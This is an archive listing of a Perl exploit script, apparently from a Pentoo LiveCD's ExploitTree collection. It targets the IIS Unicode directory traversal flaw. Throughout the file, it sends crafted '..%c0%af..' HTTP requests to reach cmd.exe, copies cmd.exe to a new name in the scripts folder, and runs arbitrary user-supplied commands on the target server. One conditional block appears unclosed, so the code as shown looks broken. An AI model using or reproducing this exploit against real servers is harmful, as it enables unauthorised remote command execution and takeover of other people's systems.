home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / unicodexecute2.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  63 lines

  1. #!/usr/bin/perl
  2. # See http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806
  3. # Very simple PERL script to execute commands on IIS Unicode vulnerable servers
  4. # Use port number with SSLproxy for testing SSL sites
  5. # Usage: unicodexecute2 IP:port command
  6. # Only makes use of "Socket" library
  7. #
  8. # New in version2:
  9. # Copy the cmd.exe to something else, and then use it.
  10. # The script checks for this.
  11. # Thnx to security@nsfocus.com for discovering the cmd.exe copy part
  12. #
  13. # Roelof Temmingh 2000/10/26
  14. # roelof@sensepost.com http://www.sensepost.com
  15.  
  16. use Socket;
  17. # --------------init
  18. if ($#ARGV<1) {die "Usage: unicodexecute IP:port command\n";}
  19. ($host,$port)=split(/:/,@ARGV[0]);
  20. $target = inet_aton($host);
  21.  
  22. # --------------test if cmd has been copied:
  23. $failed=1;
  24. $command="dir";
  25. @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
  26. foreach $line (@results){
  27.  if ($line =~ /sensepost.exe/) {$failed=0;}
  28. }
  29. $failed2=1;
  30. if ($failed==1) { 
  31.  print "Sensepost.exe not found - Copying CMD...\n";
  32.  $command="copy c:\\winnt\\system32\\cmd.exe sensepost.exe";
  33.  $command=~s/ /\%20/g;
  34.  @results2=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
  35.  foreach $line2 (@results2){
  36.   if (($line2 =~ /copied/ )) {$failed2=0;}
  37.  }
  38.  if ($failed2==1) {die "Copy of CMD failed - inspect manually:\n@results2\n\n"};
  39.  
  40. # ------------ we can assume that the cmd.exe is copied from here..
  41. $command=@ARGV[1];
  42. print "Sensepost.exe found - Executing [$command] on $host:$port\n";
  43. $command=~s/ /\%20/g;
  44. my @results=sendraw("GET /scripts/..%c0%af../inetpub/scripts/sensepost.exe?/c+$command HTTP/1.0\r\n\r\n");
  45. print @results;
  46.  
  47. # ------------- Sendraw - thanx RFP rfp@wiretrip.net
  48. sub sendraw {   # this saves the whole transaction anyway
  49.         my ($pstr)=@_;
  50.         socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
  51.                 die("Socket problems\n");
  52.         if(connect(S,pack "SnA4x8",2,$port,$target)){
  53.                 my @in;
  54.                 select(S);      $|=1;   print $pstr;
  55.                 while(<S>){ push @in, $_;}
  56.                 select(STDOUT); close(S); return @in;
  57.         } else { die("Can't connect...\n"); }
  58. }
  59. # Spidermark: sensepostdata
  60.  
  61.  
  62.